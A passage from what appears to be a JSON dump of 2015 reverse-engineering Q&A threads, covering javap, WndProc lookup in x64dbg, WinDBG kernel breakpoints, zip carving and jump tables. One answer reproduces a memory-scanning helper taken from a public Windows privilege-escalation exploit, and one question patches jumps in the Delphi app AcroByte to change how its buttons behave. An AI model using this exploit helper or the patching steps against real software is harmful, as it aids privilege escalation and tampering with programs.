out:Ljava/io/PrintStream;\n  #60 = NameAndType        #80:#81        //  get:(Ljava/lang/Object;)Ljava/lang/Object;\n  #61 = Utf8               java/lang/String\n  #62 = Class              #82            //  java/io/PrintStream\n  #63 = NameAndType        #83:#84        //  println:(Ljava/lang/String;)V\n  #64 = Utf8               StaticInitializationOfHashMap\n  #65 = Utf8               java/lang/Object\n  #66 = Utf8               java/lang/Exception\n  #67 = Utf8               append\n  #68 = Utf8               (Ljava/lang/String;)Ljava/lang/StringBuilder;\n  #69 = Utf8               (I)Ljava/lang/StringBuilder;\n  #70 = Utf8               toString\n  #71 = Utf8               ()Ljava/lang/String;\n  #72 = Utf8               java/util/Map\n  #73 = Utf8               put\n  #74 = Utf8               (Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;\n  #75 = Utf8               size\n  #76 = Utf8               ()I\n  #77 = Utf8               java/lang/System\n  #78 = Utf8               out\n  #79 = Utf8               Ljava/io/PrintStream;\n  #80 = Utf8               get\n  #81 = Utf8               (Ljava/lang/Object;)Ljava/lang/Object;\n  #82 = Utf8               java/io/PrintStream\n  #83 = Utf8               println\n  #84 = Utf8               (Ljava/lang/String;)V\n{\n  public StaticInitializationOfHashMap();\n    flags: ACC_PUBLIC\n\n    Code:\n      stack=1, locals=1, args_size=1\n         0: aload_0       \n         1: invokespecial #1                  // Method java/lang/Object.\"&lt;init&gt;\":()V\n         4: return        \n      LineNumberTable:\n        line 5: 0\n      LocalVariableTable:\n        Start  Length  Slot  Name   Signature\n               0       5     0  this   LStaticInitializationOfHashMap;\n\n  public static void main(java.lang.String[]) throws java.lang.Exception;\n    flags: ACC_PUBLIC, ACC_STATIC\n\n    Code:\n      stack=4, locals=2, args_size=1\n         0: invokestatic  #13                 // Method init:()V\n         3: iconst_0      \n         4: istore_1      \n         5: iload_1       \n         6: getstatic     #4                  // Field hashMap:Ljava/util/Map;\n         9: invokeinterface #14,  1           // InterfaceMethod java/util/Map.size:()I\n        14: if_icmpge     59\n        17: getstatic     #15                 // Field java/lang/System.out:Ljava/io/PrintStream;\n        20: getstatic     #4                  // Field hashMap:Ljava/util/Map;\n        23: new           #5                  // class java/lang/StringBuilder\n        26: dup           \n        27: invokespecial #6                  // Method java/lang/StringBuilder.\"&lt;init&gt;\":()V\n        30: ldc           #7                  // String Key_\n        32: invokevirtual #8                  // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;\n        35: iload_1       \n        36: invokevirtual #9                  // Method java/lang/StringBuilder.append:(I)Ljava/lang/StringBuilder;\n        39: invokevirtual #10                 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;\n        42: invokeinterface #16,  2           // InterfaceMethod java/util/Map.get:(Ljava/lang/Object;)Ljava/lang/Object;\n        47: checkcast     #17                 // class java/lang/String\n        50: invokevirtual #18                 // Method java/io/PrintStream.println:(Ljava/lang/String;)V\n        53: iinc          1, 1\n        56: goto          5\n        59: return        \n      LineNumberTable:\n        line 16: 0\n        line 17: 3\n        line 18: 17\n        line 17: 53\n        line 20: 59\n      LocalVariableTable:\n        Start  Length  Slot  Name   Signature\n               5      54     1     i   I\n               0      60     0  args   [Ljava/lang/String;\n      StackMapTable: number_of_entries = 2\n           frame_type = 252 /* append */\n             offset_delta = 5\n        locals = [ int ]\n           frame_type = 250 /* chop */\n          offset_delta = 53\n\n    Exceptions:\n      throws java.lang.Exception\n}\n</code></pre>\n\n<p>At <code>0: invokestatic  #13</code> it appears that we're calling the <code>init()</code> method, however in my disassembly, I'm not seeing a reference to a decompiled method called <code>init</code>.  </p>\n\n<p>What am I doing wrong?  It appears that the init method was optimized directly into my main method, but I thought that when using Oracle products, that all optimizations were deferred to the JIT and not at compile time?</p>\n",
        "Title": "javap is not displaying an expected method",
        "Tags": "|disassembly|java|",
        "Answer": "<p>Turns out that the problem was me:</p>\n\n<p>You need to run the command <code>javap -c -private &lt;className&gt;</code> or else javap defaults to not showing disassembly of private methods.  </p>\n"
    },
    {
        "Id": "11191",
        "CreationDate": "2015-10-28T07:48:33.917",
        "Body": "<p>My question is how cmd arguments are passed from the shell to the process memory ?\nHow the loader loads them and if there are passed with some sort of syscall ?\nill be happy if some one can explain in details or point to a relevant article.</p>\n",
        "Title": "How do cmd arguments are loaded to process memory before they're passed to main?",
        "Tags": "|command-line|",
        "Answer": "<p>For windows, the Loader will copy the parameters into the process' address space during process setup. Specifically it happens when the Address Space is initialized</p>\n\n<p>See Stage 3D Step 8 in <a href=\"https://books.google.com/books?id=w65CAwAAQBAJ&amp;pg=PT584&amp;lpg=PT584&amp;dq=windows%20internals%20%22The%20user%20process%20parameters%20are%20written%20into%20the%20process%22&amp;source=bl&amp;ots=4Wn5n4Sg0u&amp;sig=F8TVaIpJaDa2buSPQUKsX0PzRyw&amp;hl=en&amp;sa=X&amp;ved=0CB0Q6AEwAGoVChMIrouQ4bnlyAIViCqICh3D3ACU#v=onepage&amp;q=windows%20internals%20%22The%20user%20process%20parameters%20are%20written%20into%20the%20process%22&amp;f=false\" rel=\"nofollow\">Windows Internals</a>:</p>\n\n<blockquote>\n  <ol start=\"8\">\n  <li>The user process parameters are written into the process, copied, and fixed up (meaning converted from absolute form to a relative form\n  so that a single memory block is needed).</li>\n  </ol>\n</blockquote>\n"
    },
    {
        "Id": "11192",
        "CreationDate": "2015-10-28T08:17:06.547",
        "Body": "<p>How would you scann all sections mapped in the local memory context to find <code>gsharedinfo</code>?</p>\n\n<p><code>gsharedinfo</code> is not exported from <code>user32.dll</code> on Windows server 2008 !!!</p>\n\n<p>I would be grateful if you could help me.</p>\n",
        "Title": "how to find gsharedinfo from current memory?",
        "Tags": "|debugging|c|kernel-mode|",
        "Answer": "<p>See <a href=\"https://github.com/Meatballs1/cve-2013-1300/blob/master/cve-2013-1300/exploit.c#L16\" rel=\"nofollow\">https://github.com/Meatballs1/cve-2013-1300/blob/master/cve-2013-1300/exploit.c#L16</a> for a way to find <code>gSharedInfo</code> by scanning <code>UserRegisterWowHandlers</code>:</p>\n\n<pre><code>PSHAREDINFO LocateSharedInfo()\n{\n    ULONG i;\n    ...\n    ULONG_PTR pfnUserRegisterWowHandlers = (ULONG_PTR)GetProcAddress(GetModuleHandle(\"USER32.dll\"), \"UserRegisterWowHandlers\");\n\n    ...\n\n    for (i = pfnUserRegisterWowHandlers; \n         i &lt;= pfnUserRegisterWowHandlers +0x250; \n         ++i )\n    {\n        if (0x40c7 == *(WORD*)i &amp;&amp; \n            0xb8 == *(BYTE*)(i + 7))\n        {\n            return (PSHAREDINFO)(*(DWORD*)(i + 8));\n        }\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "11193",
        "CreationDate": "2015-10-28T09:25:41.890",
        "Body": "<p>I'm learning about stenography and found <a href=\"https://i.stack.imgur.com/7ZhTE.png\" rel=\"nofollow noreferrer\">this example</a>.</p>\n\n<p>I've followed the instructions but when I write out a new zip file after changing the filename inside the file I get this:</p>\n\n<pre><code>unzip nospaces.zip\nArchive:  nospaces.zip\n  End-of-central-directory signature not found.  Either this file is not\n  a zipfile, or it constitutes one disk of a multi-part archive.  In the\n  latter case the central directory and zipfile comment will be found on\n  the last disk(s) of this archive.\nnote:  nospaces.zip may be a plain executable, not an archive\nunzip:  cannot find zipfile directory in one of nospaces.zip or\n        nospaces.zip.zip, and cannot find nospaces.zip.ZIP, period.\n</code></pre>\n\n<p>I found that I could use <code>zip -FF --out</code> to 'fix' the zip file and extract the embedded contents but would like to understand what I might be doing wrong when saving the contents of the original file between 0x504B0304 and 0x506B0506</p>\n\n<p>I got the same results in WinHex (32bit Windows 10 VM) and HexFiend (OSX 10.10.5 - 64bit.)</p>\n\n<p>Can anyone suggest what I might have done wrong when editing the file? </p>\n\n<p><a href=\"https://i.stack.imgur.com/7ZhTE.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7ZhTE.png\" alt=\"enter image description here\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/E2vqi.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/E2vqi.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "End of central directory signature not found after extracting an embedded zip file",
        "Tags": "|decryption|hex|",
        "Answer": "<p>If you consider the actual PKZipformat\nEach PKZIP trealer is composed by 0x506B0506 AND followed by 18  bytes handling other information like number of disk, total number of central directories, their sizes ...) so to correctly carve the zip file you should copy the block from offset 0xCB8E:\n<a href=\"https://i.stack.imgur.com/JYDGD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/JYDGD.png\" alt=\"Start of ZIP file\"></a></p>\n\n<p>To offset 0xFA16</p>\n\n<p><a href=\"https://i.stack.imgur.com/wbBo1.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wbBo1.png\" alt=\"End of PKZip file\"></a></p>\n\n<p>The result is a working ZIP file.</p>\n"
    },
    {
        "Id": "11204",
        "CreationDate": "2015-10-29T10:05:26.507",
        "Body": "<p>I have struggled a lot to reverse an app that is delphi executable.\nSo I trusted PEiD to tell me the truth about the app but unfortunately I found these</p>\n\n<pre><code> Nothing found[overlay]*\n</code></pre>\n\n<p>Then I switched the Kanal plugin and it detected crypto signatures</p>\n\n<pre><code>  ADLER32\n  BASE64\n  BZIP2\n  CCITT-CRC16[word]\n  CRC(rev)\n  CRC32\n  CRC32b\n  CSS [table0]\n  FORK-256 [mixing]\n  MD5\n  SHA1[compress]\n  SHA-224[init]\n  SHA-256[mixing]\n  ZLIB deflate[word]\n  {big number}\n</code></pre>\n\n<p>So in my case I never had of these except for Base64 </p>\n\n<p>All I need is the app to show its platform in PEiD  and how can I deal with this type of compression?\n------------------------------------------------------------------------------------this is what iam trying to achieve\nthis is the onclick event of my two buttons.\ni want ESI to be 00000011 before the call @005A6DBD so i tried to change the JNZ @005A6F44 but but ESI becomes 00000018 which is an event of another button.\nso as it is now the button(my Target) when i click ESI becomes 00000000 which simply execute the defaut of the Case switch Table that is inside the call @005A6DBD </p>\n\n<pre><code>005A6EC4    .  55                PUSH EBP                                  ;  programform buttonclick event\n005A6EC5    .  8BEC              MOV EBP,ESP\n005A6EC7    .  83C4 F0           ADD ESP,-10\n005A6ECA    .  53                PUSH EBX\n005A6ECB    .  56                PUSH ESI                                           ;  AcroByte.&lt;ModuleEntryPoint&gt;\n005A6ECC    .  57                PUSH EDI                                           ;  AcroByte.&lt;ModuleEntryPoint&gt;\n005A6ECD    .  33C9              XOR ECX,ECX\n005A6ECF    .  894D FC           MOV DWORD PTR SS:[EBP-4],ECX\n005A6ED2    .  8BDA              MOV EBX,EDX                                        ;  ntdll.KiFastSystemCallRet\n005A6ED4    .  33C0              XOR EAX,EAX\n005A6ED6    .  55                PUSH EBP\n005A6ED7    .  68 9C6F5A00       PUSH AcroByte.005A6F9C\n005A6EDC    .  64:FF30           PUSH DWORD PTR FS:[EAX]\n005A6EDF    .  64:8920           MOV DWORD PTR FS:[EAX],ESP\n005A6EE2    .  33C0              XOR EAX,EAX\n005A6EE4    .  55                PUSH EBP\n005A6EE5    .  68 7C6F5A00       PUSH AcroByte.005A6F7C\n005A6EEA    .  64:FF30           PUSH DWORD PTR FS:[EAX]\n005A6EED    .  64:8920           MOV DWORD PTR FS:[EAX],ESP\n005A6EF0    .  C745 F4 0C000000  MOV DWORD PTR SS:[EBP-C],0C\n005A6EF7    .  8BC3              MOV EAX,EBX\n005A6EF9    .  8B15 30D24600     MOV EDX,DWORD PTR DS:[46D230]                      ;  AcroByte.0046D288\n005A6EFF    .  E8 A8F1E5FF       CALL AcroByte.004060AC\n005A6F04    .  8B50 08           MOV EDX,DWORD PTR DS:[EAX+8]\n005A6F07    .  8D45 FC           LEA EAX,DWORD PTR SS:[EBP-4]\n005A6F0A    .  E8 D50DE6FF       CALL AcroByte.00407CE4\n005A6F0F    .  6945 F4 7C1B0900  IMUL EAX,DWORD PTR SS:[EBP-C],91B7C\n005A6F16    .  8B04C5 08D25F00   MOV EAX,DWORD PTR DS:[EAX*8+5FD208]\n005A6F1D    .  85C0              TEST EAX,EAX\n005A6F1F    .  7C 51             JL SHORT AcroByte.005A6F72\n005A6F21    .  40                INC EAX\n005A6F22    .  8945 F0           MOV DWORD PTR SS:[EBP-10],EAX\n005A6F25    .  C745 F8 00000000  MOV DWORD PTR SS:[EBP-8],0\n005A6F2C    .  BB 08D25F00       MOV EBX,AcroByte.005FD208\n005A6F31    &gt;  6975 F4 7C1B0900  IMUL ESI,DWORD PTR SS:[EBP-C],91B7C\n005A6F38    .  8B44F3 04         MOV EAX,DWORD PTR DS:[EBX+ESI*8+4]\n005A6F3C    .  8B55 FC           MOV EDX,DWORD PTR SS:[EBP-4]\n005A6F3F    .  E8 6C17E6FF       CALL AcroByte.004086B0       ;call @UStrEqual( cmp eax,edx inside the call)\n005A6F44    .  75 1E             JNZ SHORT AcroByte.005A6F64   ;  this jump\n005A6F46    .  8B44F3 08         MOV EAX,DWORD PTR DS:[EBX+ESI*8+8]\n005A6F4A    .  85C0              TEST EAX,EAX\n005A6F4C    .  7C 16             JL SHORT AcroByte.005A6F64\n005A6F4E    .  40                INC EAX\n005A6F4F    .  89C6              MOV ESI,EAX\n005A6F51    .  33FF              XOR EDI,EDI                                        ;  AcroByte.&lt;ModuleEntryPoint&gt;\n005A6F53    &gt;  8BCF              MOV ECX,EDI                                        ;  AcroByte.&lt;ModuleEntryPoint&gt;\n005A6F55    .  8B55 F8           MOV EDX,DWORD PTR SS:[EBP-8]                       ;  sets the value to EDX(important)\n005A6F58    .  8B45 F4           MOV EAX,DWORD PTR SS:[EBP-C]\n005A6F5B    .  E8 E8EFFFFF       CALL AcroByte.005A5F48\n005A6F60    .  47                INC EDI                                            ;  AcroByte.&lt;ModuleEntryPoint&gt;\n005A6F61    .  4E                DEC ESI                                            ;  AcroByte.&lt;ModuleEntryPoint&gt;\n005A6F62    .^ 75 EF             JNZ SHORT AcroByte.005A6F53\n005A6F64    &gt;  FF45 F8           INC DWORD PTR SS:[EBP-8]                           ;  AcroByte.015C2BD4\n005A6F67    .  81C3 ACB80000     ADD EBX,0B8AC\n005A6F6D    .  FF4D F0           DEC DWORD PTR SS:[EBP-10]\n005A6F70    .^ 75 BF             JNZ SHORT AcroByte.005A6F31\n005A6F72    &gt;  33C0              XOR EAX,EAX\n005A6F74    .  5A                POP EDX                                            ;  user32.7500925A\n005A6F75    .  59                POP ECX                                            ;  user32.7500925A\n005A6F76    .  59                POP ECX                                            ;  user32.7500925A\n005A6F77    .  64:8910           MOV DWORD PTR FS:[EAX],EDX                         ;  ntdll.KiFastSystemCallRet\n005A6F7A    .  EB 0A             JMP SHORT AcroByte.005A6F86\n005A6F7C    .^ E9 CBFCE5FF       JMP AcroByte.00406C4C\n005A6F81    .  E8 1E01E6FF       CALL AcroByte.004070A4\n005A6F86    &gt;  33C0              XOR EAX,EAX\n005A6F88    .  5A                POP EDX                                            ;  user32.7500925A\n005A6F89    .  59                POP ECX                                            ;  user32.7500925A\n005A6F8A    .  59                POP ECX                                            ;  user32.7500925A\n005A6F8B    .  64:8910           MOV DWORD PTR FS:[EAX],EDX                         ;  ntdll.KiFastSystemCallRet\n005A6F8E    .  68 A36F5A00       PUSH AcroByte.005A6FA3\n005A6F93    &gt;  8D45 FC           LEA EAX,DWORD PTR SS:[EBP-4]\n005A6F96    .  E8 4109E6FF       CALL AcroByte.004078DC\n005A6F9B    .  C3                RETN\n===========================================================================================================================================================================the folowing is just piece only to show whats happening before the call cause the Whole repeat the same thing\n\n\n005A6D6D    .  53                PUSH EBX                                           ;  AcroByte.03CA2088\n005A6D6E    .  69DA 2B2E0000     IMUL EBX,EDX,2E2B\n005A6D74    .  69F8 7C1B0900     IMUL EDI,EAX,91B7C\n005A6D7A    .  8D3CFD 08D25F00   LEA EDI,DWORD PTR DS:[EDI*8+5FD208]\n005A6D81    .  FF749F 04         PUSH DWORD PTR DS:[EDI+EBX*4+4]\n005A6D85    .  69DA 2B2E0000     IMUL EBX,EDX,2E2B\n005A6D8B    .  69F8 7C1B0900     IMUL EDI,EAX,91B7C\n005A6D91    .  8D3CFD 08D25F00   LEA EDI,DWORD PTR DS:[EDI*8+5FD208]\n005A6D98    .  8D1C9F            LEA EBX,DWORD PTR DS:[EDI+EBX*4]\n005A6D9B    .  53                PUSH EBX                                           ;  AcroByte.03CA2088\n005A6D9C    .  5B                POP EBX                                            ;  AcroByte.03CA2088\n005A6D9D    .  FF74B3 0C         PUSH DWORD PTR DS:[EBX+ESI*4+C]\n005A6DA1    .  69D2 2B2E0000     IMUL EDX,EDX,2E2B\n005A6DA7    .  69C0 7C1B0900     IMUL EAX,EAX,91B7C\n005A6DAD    .  8D04C5 08D25F00   LEA EAX,DWORD PTR DS:[EAX*8+5FD208]\n005A6DB4    .  8D0490            LEA EAX,DWORD PTR DS:[EAX+EDX*4]\n005A6DB7    .  8B4CB0 10         MOV ECX,DWORD PTR DS:[EAX+ESI*4+10]\n005A6DBB    .  5A                POP EDX\n005A6DBC    .  58                POP EAX\n005A6DBD    .  E8 E6D1FFFF       CALL AcroByte.005A3FA8                             ;  call the function that does the job\n005A6DC2    .  33C0              XOR EAX,EAX\n</code></pre>\n\n<p>For a better understanding the Call @005A6F3F goes to </p>\n\n<pre><code> Cmp,eax.edx;  Eax=1E37BEE4 Unicode _27,   Edx=1E37B68C Unicode _27\n JE 004086E4;Jumps to retn\n Test eax,edx \n JE 004086DA; jumps to another bitwise AND\n</code></pre>\n\n<p>That's where I am curious!!!</p>\n",
        "Title": "How to decompress SHA1[compressed] executable",
        "Tags": "|unpacking|decompress|delphi|",
        "Answer": "<p>Kanal plugins can provide you with some kind of signature wherever they found it and this means that those crypto signatures are not necessarily useful for your reversing goal.  What are you trying to do exactly?\nFor Delphi try to use \"DeDe\" a nice and quite useful Delphi decompiler by DaFixer.</p>\n"
    },
    {
        "Id": "11207",
        "CreationDate": "2015-10-29T14:50:28.603",
        "Body": "<p>I am new to radare2 and Linux. I got problem with <code>r2</code>.</p>\n\n<p>As the title states it, many tutorials, articles, videos about <code>r2</code> are just about disassembling programs, and read assembly codes. But, I want debug my programs.</p>\n\n<p>I search on the web and on GitHub... But did not find anything meaningful (or maybe I did miss it).</p>\n\n<p>I would like to know if somebody could tell me how to run the debugger in <code>r2</code>.</p>\n",
        "Title": "How to debug (like gdb) with radare2?",
        "Tags": "|radare2|debuggers|",
        "Answer": "<p>Go to archives of <a href=\"http://hack.lu\" rel=\"nofollow noreferrer\">hack.lu</a> conference <a href=\"http://archive.hack.lu/2015/\" rel=\"nofollow noreferrer\">here</a>.</p>\n\n<p>You can find there Radare2 <a href=\"http://archive.hack.lu/2015/radare2-workshop-slides.pdf\" rel=\"nofollow noreferrer\">workshop</a> <a href=\"http://archive.hack.lu/2015/radare2-workshop/\" rel=\"nofollow noreferrer\">materials</a>.\nThere are some mentions of debugging there.</p>\n\n<p>In addition you have a radare 2 book, see <a href=\"https://radare.gitbooks.io/radare2book/content/first_steps/basic_debugger_session.html\" rel=\"nofollow noreferrer\">basic debugging session</a> chapter.\nI'd suggest to read all the book and workshop materials.</p>\n"
    },
    {
        "Id": "11210",
        "CreationDate": "2015-10-29T17:43:28.620",
        "Body": "<p>I'm trying to find a WndProc from explorer.exe that is handling these messages, I've found with Spy++:</p>\n\n<pre><code>&lt;000001&gt; 00000000000B01C8 P message:0xC02B [Registered:\"SHELLHOOK\"] wParam:00000025 lParam:000F0184\n&lt;000002&gt; 00000000000B01C8 P message:0xC02B [Registered:\"SHELLHOOK\"] wParam:00008006 lParam:000F0184\n</code></pre>\n\n<p>I'm trying to prevent explorer.exe from flashing the task bar button, it's ruining my Windows 10 experience. In Windows 10 the flashing task bar buttons appear in all desktops, and it's just maddening when focusing on a work on another virtual desktop. Not a feature I want. The above messages are sent to Task switcher in explorer.exe, if I can prevent them being handled I can beat this.</p>\n\n<p>I've wealth of knowledge about the WndProc which I want to see, and modify from Spy++, following windows are Property Inspector of Spy++ (64 bit version):</p>\n\n<p>(Note: the 32bit version of Spy++ does not show Window Proc at all, just <code>(Unavailable)(Unicode)</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/k5L8n.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/k5L8n.png\" alt=\"Window Proc address?\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/OiDsN.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/OiDsN.png\" alt=\"Thread ID\"></a></p>\n\n<p>And in x64dbg I have the thread open:</p>\n\n<p><a href=\"https://i.stack.imgur.com/DZN8w.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/DZN8w.png\" alt=\"x64dbg open on the same thread\"></a></p>\n\n<p>But I just can't figure out how can I find the Window Proc in x64dbg?</p>\n",
        "Title": "How to find WndProc using x64dbg?",
        "Tags": "|windows|",
        "Answer": "<p>The spy++ is showing the wndproc in your screen shot (it is probably subclassed; you may need to trace but wndproc is shown in your screenshot as <code>361c9880</code>  I don't know what the command is in x64 dbg but if you were on ollydbg you simply do ctrl+g (goto) key in the address as shown in spy++ and break and log the messages for filtering.</p>\n<p>A screen shot of calc.exe -&gt; backspace button windows wndproc in comctl32.dll  (32 bits and 64 bits shouldn't matter much on concept level)</p>\n<p><a href=\"https://i.stack.imgur.com/Q2tMg.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Q2tMg.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://devblogs.microsoft.com/oldnewthing/20031201-00/?p=41673\" rel=\"nofollow noreferrer\">An entry by Raymond Chen</a> talks about cookies being returned instead of wndproc.</p>\n<p>If all else fails assemble GetWindowLongPtrW in place to fetch the actual WndProc</p>\n<ul>\n<li>suspend the process (f12 or esc)</li>\n<li>use ctrl+g to goto user32.GetWindowLongPtrW</li>\n<li>right click set new origin here   (save the rip prior this)</li>\n<li>save the state of register somewhere</li>\n<li>modify rcx and plop the handle into rcx (which was b01c8 in your screen shot)</li>\n<li>use the latest window handle as shown by spy++</li>\n<li>for the existing session do not put 0xb01c8</li>\n<li>modify edx to hold -4 (index of GWLP_WNDPROC)</li>\n<li>step through the Function</li>\n<li>before the function returns rax should hold the actual WndProc</li>\n<li>save or set a bp on the Wndproc</li>\n<li>restore registers and rip to pristine state and continue exploring</li>\n</ul>\n<p>I downloaded x64dbg and ran 64 bit calc.exe spy++ 32 bit doesn't show wndproc. I cooked a script to alloc a page in process memory of calc.exe and assembled a detour using the script language and fetched the actual WndProc.</p>\n<p>A screenshot below:</p>\n<p><a href=\"https://i.stack.imgur.com/7Jy6A.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/7Jy6A.png\" alt=\"enter image description here\" /></a></p>\n<p>The debuggee must be in a paused state.</p>\n<p>The script allocates memory in the debuggee's address space using alloc; after tabbing once the status bar should show the newly allocated address.\nAlso the variables $lastalloc $result should hold the newly allocated memory address; if you do <code>d address</code> a bunch of 00 00 should stare at you.</p>\n<ul>\n<li>confirm the allocation</li>\n<li>if the memory is allocated tab one step in the script</li>\n<li>push rcx should be assembled in the newly allocated address</li>\n<li>use d address or d $lastalloc to confirm</li>\n<li>like wise assemble all the instruction</li>\n<li>use the proper handle value in ecx (stale or reused window handles may provide incorrect information confirm you assemble mov rcx , HWND right</li>\n<li>now you need to ensure you put the right address in eax  the address should be of user32.GetWindowLongPtrW</li>\n<li>assemble all the cleanup instructions</li>\n<li>one you have done this</li>\n<li>save the existing rip some where (write it down in a paper)</li>\n<li>right click and select the first instruction in the newly allocated address and set it as origin ( new origin here) the rip will be changed to the newly allocated address</li>\n<li>hit f8 and execute the instructions on by one</li>\n<li>when call eax is done eax will hold the Wndproc</li>\n<li>save this (write it in paper)</li>\n<li>execute the cleanup instruction</li>\n<li>hit ctrl+g and enter the old RIP</li>\n<li>right click -&gt; new origin here ( RIP will now point to the old value when you paused the debuggee</li>\n</ul>\n<p>That is it; now you have Wndproc in a paper and you have returned to the original state.</p>\n<p>This  is a detour (making an intentional bypass in the code flow of debuggee to do some extra work and return back to the place where bypass was done as if nothing was done to continue the original flow).</p>\n<p>Use bp to set a breakpoint in the wndproc you have on paper.</p>\n"
    },
    {
        "Id": "11212",
        "CreationDate": "2015-10-29T22:52:19.457",
        "Body": "<p>I'm trying to debug Control Panel and I'd like to disassemble <code>shell32.dll</code>. Because control panel is a 64-bit executable, it loads the 64-bit version of the dll (contrary to the name). When I view the disassembled code in debug mode, I can confirm that it is indeed 64-bit. Ida claims that it's located at <code>C:\\WINDOWS\\system32\\shell32.dll</code>; however this dll is entirely 32-bit. I also checked <code>C:\\WINDOWS\\SysWOW64\\shell32.dll</code>, but it's also 32-bit.</p>\n\n<p>Can someone explain what's going on here?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Where can I find the 64-bit version of shell32.dll on Windows?",
        "Tags": "|windows|dll|",
        "Answer": "<p>As @peter-ferrie said, 32-bit processes will use <code>C:\\WINDOWS\\SysWOW64\\shell32.dll</code> instead of <code>C:\\WINDOWS\\system32\\shell32.dll</code> if you specify <code>C:\\WINDOWS\\system32\\shell32.dll</code>.</p>\n\n<p>To <a href=\"https://msdn.microsoft.com/en-us/library/windows/desktop/aa384187.aspx\" rel=\"nofollow\">force</a> a 32-bit process to use the actual 64-bit version, you can specify the following file path: <code>C:\\WINDOWS\\Sysnative\\shell32.dll</code></p>\n\n<p>This saves you the trouble of having to use Explorer to make a copy of the 64-bit DLL.</p>\n"
    },
    {
        "Id": "11220",
        "CreationDate": "2015-10-31T12:07:10.423",
        "Body": "<p>I've set breakpoints on some Windows kernel functions using WinDBG. When the breakpoints are hit, I can query information about the invoking user-mode process using the <code>!process</code> or <code>!peb</code> commands.</p>\n\n<p>How are these commands implemented? How can I find the relevant memory structures and \"manually\" trace back to the user-mode caller when one of my BPs hit?</p>\n",
        "Title": "Finding user process for Windows kernel API call",
        "Tags": "|windows|",
        "Answer": "<p>currentprocess KPROCESS offset is returned by</p>\n\n<pre><code>IDebugSystemObjects::GetCurrentProcessDataOffset\n</code></pre>\n\n<p>peb is returned by</p>\n\n<pre><code>IDebugSystemObjects::GetCurrentProcessPeb method\n</code></pre>\n\n<p>both are implemented in dbgeng </p>\n\n<p>you can set process specific breakpoints so that the kernel api will break only in the correct process context </p>\n\n<pre><code>bp /p [eprocess] {kernel api}\n</code></pre>\n\n<p>to look at the stack use <code>kb</code> when the breakpoint is hit  </p>\n\n<p>windbg comes with sample src code that shows various forms of implementation \nright from the very old wdbgext extensions to the latest engextcpp extension </p>\n\n<p>a basic implementation is simple and straightforward \nCall DebugCreate() to obtain a IDebugClient Interface \nQuery the Other Interfaces from this Client Interface and call the methods</p>\n\n<p>to find a series of articles that show how to use the dbgeng functions \nexplore here \n<a href=\"http://www.woodmann.com/forum/entry.php?246-A-Simple-Dbgeng-Based-User-Mode-Debugger\" rel=\"nofollow\">http://www.woodmann.com/forum/entry.php?246-A-Simple-Dbgeng-Based-User-Mode-Debugger</a></p>\n"
    },
    {
        "Id": "11222",
        "CreationDate": "2015-11-01T09:28:44.817",
        "Body": "<p>For the ease of analysis (i.e., static analysis), I am planning to convert a control-flow graph, of a function, into a spanning tree by removing the backward edges. I wonder whether this spanning tree can be considered as a binary tree? That is, is it possible for a basic-block to have more than 2 out-going edges?</p>\n",
        "Title": "Can a basic-block have more than 2 outgoing edges?",
        "Tags": "|disassembly|static-analysis|control-flow-graph|",
        "Answer": "<p>It depends on target's assembly language and compiler which your executable was compiled with.\nFor example C language switch/case clause may be implemented in a manner which allows your tree to be not binary.</p>\n\n<pre><code>switch (a)\n{\ncase 1:\n    return 1;\nbreak;\ncase 2:\n    return 10;\nbreak;\ncase 3:\n    return 100;\nbreak;\ncase 4:\n    return 1000;\nbreak;\ncase 5:\n    return 10000;\nbreak;\ndefault:\n    return -1;\nbreak;\n}\n\n\n00000000004004ed &lt;main&gt;:\n  4004ed:   55                      push   %rbp\n  4004ee:   48 89 e5                mov    %rsp,%rbp\n  4004f1:   89 7d fc                mov    %edi,-0x4(%rbp)\n  4004f4:   48 89 75 f0             mov    %rsi,-0x10(%rbp)\n  4004f8:   83 7d fc 05             cmpl   $0x5,-0x4(%rbp)\n  4004fc:   77 47                   ja     400545 &lt;main+0x58&gt;\n  4004fe:   8b 45 fc                mov    -0x4(%rbp),%eax\n  400501:   48 8d 14 85 00 00 00    lea    0x0(,%rax,4),%rdx\n  400508:   00 \n  400509:   48 8d 05 c4 00 00 00    lea    0xc4(%rip),%rax        # 4005d4 &lt;_IO_stdin_used+0x4&gt;\n  400510:   8b 04 02                mov    (%rdx,%rax,1),%eax\n  400513:   48 63 d0                movslq %eax,%rdx\n  400516:   48 8d 05 b7 00 00 00    lea    0xb7(%rip),%rax        # 4005d4 &lt;_IO_stdin_used+0x4&gt;\n  40051d:   48 01 d0                add    %rdx,%rax\n  400520:   ff e0                   **jmpq   *%rax**\n  400522:   b8 01 00 00 00          mov    $0x1,%eax\n  400527:   eb 21                   jmp    40054a &lt;main+0x5d&gt;\n  400529:   b8 0a 00 00 00          mov    $0xa,%eax\n  40052e:   eb 1a                   jmp    40054a &lt;main+0x5d&gt;\n  400530:   b8 64 00 00 00          mov    $0x64,%eax\n  400535:   eb 13                   jmp    40054a &lt;main+0x5d&gt;\n  400537:   b8 e8 03 00 00          mov    $0x3e8,%eax\n  40053c:   eb 0c                   jmp    40054a &lt;main+0x5d&gt;\n  40053e:   b8 10 27 00 00          mov    $0x2710,%eax\n  400543:   eb 05                   jmp    40054a &lt;main+0x5d&gt;\n  400545:   b8 ff ff ff ff          mov    $0xffffffff,%eax\n  40054a:   5d                      pop    %rbp\n  40054b:   c3                      retq   \n</code></pre>\n\n<p>for example 